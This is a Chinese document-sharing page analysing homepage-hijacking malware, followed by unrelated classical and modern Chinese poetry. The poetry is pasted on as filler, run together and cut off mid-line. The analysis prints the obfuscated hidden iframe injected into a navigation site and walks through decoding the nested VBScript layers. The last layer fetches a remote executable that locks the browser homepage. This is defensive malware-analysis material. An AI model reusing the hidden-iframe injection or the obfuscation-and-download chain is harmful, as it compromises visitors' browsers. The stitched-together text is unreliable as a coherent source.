解决首页被改的方法.docVIP

前不久，很多网友都感染了的病毒，首页被改成这个网站，并且无法改回。黑客是如何做到锁定用户的浏览器首页呢？下面我们就去探个究竟。　　提醒：分析病毒存在一定风险，建议在虚拟机下操作。　　第一步 查看首页的源代码，可以发现在尾部有如下的字样：　　iframe src=#104#116#116#112#58#47#47#109#46#100#97#115#104#111#119#46#99#111#109#46#99#110#47#109#46#104#116#109#108 width=0 height=0/iframe　　这是一个嵌入到7b网址之家首页的页面，即打开也就同时打开了这个页面。　　而 “#104#116#116#112#58#47#47#109#46#100#97#115#104#111#119#46#99#111#109#46#99#110#47#109#46#104#116#109#108” 表示的是一个字符串，“#”后面是每个字符串ASCII的十进制值。　　直接把这段乱码保存为HTM文件，用IE打开，就可以看到它的真实面目“/m.html”。　　第二步 查看/m.html的源代码，把看的scrtipt脚本段中的Execute替换为Document.Write，然后打开这个HTM页面，就会出现一段代码，同样地，把EXECUTE换成我们无敌的Document.Write，前后加脚本标记，存HTM打开。屏幕上立即出现了一段令人眼花的东西。把眼花缭乱的东西整理一下，并将出现的CHR（）在前面用到过，作用是把字符的ASCII转成字符，只不过这次是16进制。然后再将字符拼接成字符串，然后再 Execute运行这个命令字符串。继续用Document.Write替换掉EXECUTE，前后加脚本标记，存HTM打开。　　第三步 经过上几步的还原后终于看到了这个恶意页面的最终面目。　　on error resume next curl = /start.exe……其后省略。　　这段代码中我们可以很清楚地看到/start.exe这个链接。没错，它就是运行后可以将用户主页锁定为的病毒。　　可以用下载工具将这个文件下载下来，如果你的杀毒软件查不到的话最好立即上报。这样可以保证杀毒软件快速查杀这个病毒，并使更少的网友免受该病毒的侵害。 下面是古文鉴赏，不需要的朋友可以下载后编辑删除！！谢谢！！ 九歌·湘君?屈原??朗诵：路英君不行兮夷犹，蹇谁留兮中洲。?美要眇兮宜修，沛吾乘兮桂舟。?令沅湘兮无波，使江水兮安流。?望夫君兮未来，吹参差兮谁思。?驾飞龙兮北征，邅吾道兮洞庭。?薜荔柏兮蕙绸，荪桡兮兰旌。?望涔阳兮极浦，横大江兮扬灵。?扬灵兮未极，女婵媛兮为余太息。?横流涕兮潺湲，隐思君兮陫侧。?桂棹兮兰枻，斫冰兮积雪。?采薜荔兮水中，搴芙蓉兮木末。?心不同兮媒劳，恩不甚兮轻绝。?石濑兮浅浅，飞龙兮翩翩。?交不忠兮怨长，期不信兮告余以不闲。?朝骋骛兮江皋，夕弭节兮北渚。她含着笑，切着冰屑悉索的萝卜，??她含着笑，用手掏着猪吃的麦糟，??她含着笑，扇着炖肉的炉子的火，??她含着笑，背了团箕到广场上去??晒好那些大豆和小麦，??大堰河，为了生活，??在她流尽了她的乳液之后，??她就用抱过我的两臂，劳动了。??大堰河，深爱着她的乳儿；??在年节里，为了他，忙着切那冬米的糖，??为了他，常悄悄地走到村边的她的家里去，??为了他，走到她的身边叫一声“妈”，??大堰河，把他画的大红大绿的关云长??贴在灶边的墙上，??大堰河，会对她的邻居夸口赞美她的乳儿；??大堰河曾做了一个不能对人说的梦：??在梦里，她吃着她的乳儿的婚酒，??坐在辉煌的结彩的堂上，??而她的娇美的媳妇亲切的叫她“婆婆”??…………??大堰河，深爱她的乳儿！??大堰河，在她的梦没有做醒的时候已死了。??她死时，乳儿不在她的旁侧，??她死时，平时打骂她的丈夫也为她流泪，??五个儿子，个个哭得很悲，??她死时，轻轻地呼着她的乳儿的名字，??大堰河，已死了，??她死时，乳儿不在她的旁侧。??大堰河，含泪的去了！??同着四十几年的人世生活的凌侮，??同着数不尽的奴隶的凄苦，??同着四块钱的棺材和几束稻草，??同着几尺长方的埋棺材的土地，??同着一手把的纸钱的灰，??大堰河，她含泪的去了。??这是大堰河所不知道的：??她的醉酒的丈夫已死去，??大儿做了土匪，??第二个死在炮火的烟里，??第三，第四，第五??而我，我是在写着给予这不公道的世界的咒语。??当我经了长长的飘泊回到故土时，??在山腰里，田野上，??兄弟们碰见时，是比六七年?鸟次兮屋上，水